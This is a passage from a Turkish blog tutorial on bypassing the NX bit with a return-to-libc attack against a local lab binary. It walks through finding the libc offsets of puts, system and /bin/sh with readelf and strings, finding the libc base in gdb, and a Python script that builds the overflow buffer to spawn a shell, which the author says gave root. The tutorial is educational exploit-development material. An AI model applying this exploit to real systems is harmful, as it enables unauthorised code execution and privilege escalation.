libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e37000)
/lib/ld-linux.so.2 (0x80000000)
Yukarıda ki ldd komutuyla bağımlıklaları ve hangi dosyalara çağrı yapacağını ve ihtiyaç duyduğunu görüyoruz. Görmek durumundayız bağımlıklar ve kütüphaneler üzerinden çağrı yapan fonksiyonların offsetlerini "libc.so.6" dosyası üzerinden ayıklayacağız.

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep "puts"
 203: 00065650   421 FUNC    GLOBAL DEFAULT   12 _IO_puts@@GLIBC_2.0
 430: 00065650   421 FUNC    WEAK   DEFAULT   12 puts@@GLIBC_2.0
 505: 000f1050  1032 FUNC    GLOBAL DEFAULT   12 putspent@@GLIBC_2.0
 690: 000f2860   497 FUNC    GLOBAL DEFAULT   12 putsgent@@GLIBC_2.10
 1173: 000640a0   325 FUNC    WEAK   DEFAULT   12 fputs@@GLIBC_2.0
 1721: 000640a0   325 FUNC    GLOBAL DEFAULT   12 _IO_fputs@@GLIBC_2.0
 2366: 00069710   151 FUNC    GLOBAL DEFAULT   12 fputs_unlocked@@GLIBC_2.1
Yukarıda görülen "puts" fonksiyonun offset adresi 0x00065650 olarak belirlenmiştir bu adres "NX" protect olduğu için etkisiz haldedir, müdahale edeceğiz.


readelf -s /lib/i386-linux-gnu/libc.so.6 | grep "system"
    243: 00119240    73 FUNC    GLOBAL DEFAULT   12 svcerr_systemerr@@GLIBC_2.0
   620: 00040190    56 FUNC    GLOBAL DEFAULT   12 __libc_system@@GLIBC_PRIVATE
  1443: 00040190    56 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0
Yukarıda çağrışımda bulunacağımız "system" fonksiyonunun "0x00040190" adresi belirtilmiştir çağırılan diğer fonksiyonunlar çalıştıracak olan system fonk. adresinide not etmiş bulunuyoruz.



strings -a -tx /lib/i386-linux-gnu/libc.so.6 | grep "sh$"
   e412 inet6_opt_finish
   f34e _IO_wdefault_finish
   f932 _IO_fflush
  117b5 _IO_file_finish
  11ca3 bdflush
  120e7 tcflush
  12399 _IO_default_finish
 15e0e5 Trailing backslash
 15e5b8 sys/net/ash
 160a24 /bin/sh
 162988 /bin/csh
 1ab831 .gnu.hash
 Belirtilen offset adresi ilede terminale düşeceğiz tam olarak exploit üstünden neler yapmak istediğimizi ve sonrasında kısa bir algoritma ile neler yaptığımzı ve 3 fonksiyonun neyi nasıl çağırdığını görebilirsiniz.


$ gdb-peda$ i proc map // info process map -> uygulamarın çalışma alanı üzerinde ki harita bilgisi
process 7248
Mapped address spaces:
Start Addr   End Addr       Size     Offset objfile
0x8048000  0x8049000     0x1000        0x0 /home/bugger/les/bof
0x8049000  0x804a000     0x1000        0x0 /home/bugger/les/bof
0x804a000  0x804b000     0x1000     0x1000 /home/bugger/les/bof
0xb7e15000 0xb7e16000     0x1000        0x0 
*0xb7e16000 0xb7fbe000   0x1a8000        0x0 /lib/i386-linux-gnu/libc-2.19.so
0xb7fbe000 0xb7fc0000     0x2000   0x1a8000 /lib/i386-linux-gnu/libc-2.19.so
0xb7fc0000 0xb7fc1000     0x1000   0x1aa000 /lib/i386-linux-gnu/libc-2.19.so
0xb7fc1000 0xb7fc4000     0x3000        0x0 
0xb7fd7000 0xb7fda000     0x3000        0x0 
0xb7fda000 0xb7fdc000     0x2000        0x0 [vvar]
0xb7fdc000 0xb7fde000     0x2000        0x0 [vdso]
0xb7fde000 0xb7ffe000    0x20000        0x0 /lib/i386-linux-gnu/ld-2.19.so
0xb7ffe000 0xb7fff000     0x1000    0x1f000 /lib/i386-linux-gnu/ld-2.19.so
0xb7fff000 0xb8000000     0x1000    0x20000 /lib/i386-linux-gnu/ld-2.19.so
0xbffdf000 0xc0000000    0x21000        0x0 [stack]
Son olarak Libc base adress belirlememiz gerekiyor bunun için gdb ile dosyamızı açıyoruz bu alanda kodlar çalışacak belirtilen system+puts /bin/sh. 0xb7e16000 offset.

Hops ! Evet son admları atarken exploitation sekmesine geçebiliriz gerekli offsetler elimizde ve son bir dokunuş kalıyor;



#!/usr/bin/python
import sys
import struct
from subprocess import Popen
bufsize = int(sys.argv[1])
libc_base = int(sys.argv[2], 16)
puts = libc_base + 0x00065650
system = libc_base + 0x00040190
binsh = libc_base + 0x160a24
buf = 'A' * bufsize
buf += 'AAAA' * 3
buf += struct.pack('<I', puts)
buf += struct.pack('<I', system)
buf += struct.pack('<I', binsh)
buf += struct.pack('<I', binsh)
with open('buf', 'wb') as f:
    f.write(buf)
p = Popen(['./bof', buf])
p.wait()
Python scriptimiz burada şimdi devamını görelim;




Woouhaa ! NX-BIT aşıldı ve root ekranına düşüldü işlemler burada biterken bir kaç hatırlatma ve izlenen yolları kullanılan kaynakları özellikle benimde bu yazıda çokca faydalandığım bir kaç kaynağı aşağıda bulabilirsiniz.

Neler Yaptık Böyle ?
Öncelikel belirlenen şartlarda karşımıza çıkan belirli şartlarda oluşturulmuş ve belirli güvenlik kurallarına sahip bir sistem koruyucusunu aştık öncelikle bunu tam manasıyla herkesin anlayacağı bir şekilde yazmaktan fayda var, ikinci olarak bu güvenlik sistemi aşılırken yazıda da ısrarla bahsettiğim gibi imece bir usul izlendi lakin exploitation ve kullanılan bu yol son derece modern şekilde işlendi öncelikle zaafiyet bulunan yazılımın içinde ki fonksiyon tespiti yapıldı ve bu fonksiyon aracılığıyla işlemler ilerletildi.


  1. Yazılım sınandı
  2. Zaafiyet tespiti yapıldı
  3. Gerekli fonksiyonlar elde edildi
  4. Exploit yazıldı
  5. Ve sistemde yetki yükseltilerek sistem ele geçirildi.
Genel olarak herkesin anlayacağı bir dille bu şekilde yollar izlendi elimden geldiği kadar açık bir şekilde basitlendirilmiş şekilde yazmaya çalıştım yinede aklınız bir yerlere takılırsa yorum ile sorularınızı sorabilirsiniz.

Hoşçakalın


Kaynaklar:
https://sploitfun.wordpress.com/2015/05/08/bypassing-nx-bit-using-return-to-libc/

http://inaz2.hatenablog.com/entry/2014/03/24/020347
https://en.wikipedia.org/wiki/NX_bit
https://wiki.gentoo.org/wiki/Hardened/GNU_stack_quickstart
https://www.bpak.org/blog/wp-content/uploads/1/1323932436.pdf


Thanks 4wfully:

Levent Yüksel - Beni Unutma (JoyTurk Akustik)
Levent Yüksel - Med cezir (JoyTurk Akustik)
Levent Yüksel - Karaağaç (JoyTurk Akustik)
Eflatun - Dünyanın Bütün Sabahları (JoyTurk Akustik)
Bulutsuzluk Özlemi & Hakan Aysev - Sözlerimi Geri Alamam (Live)



Blogger tarafından desteklenmektedir.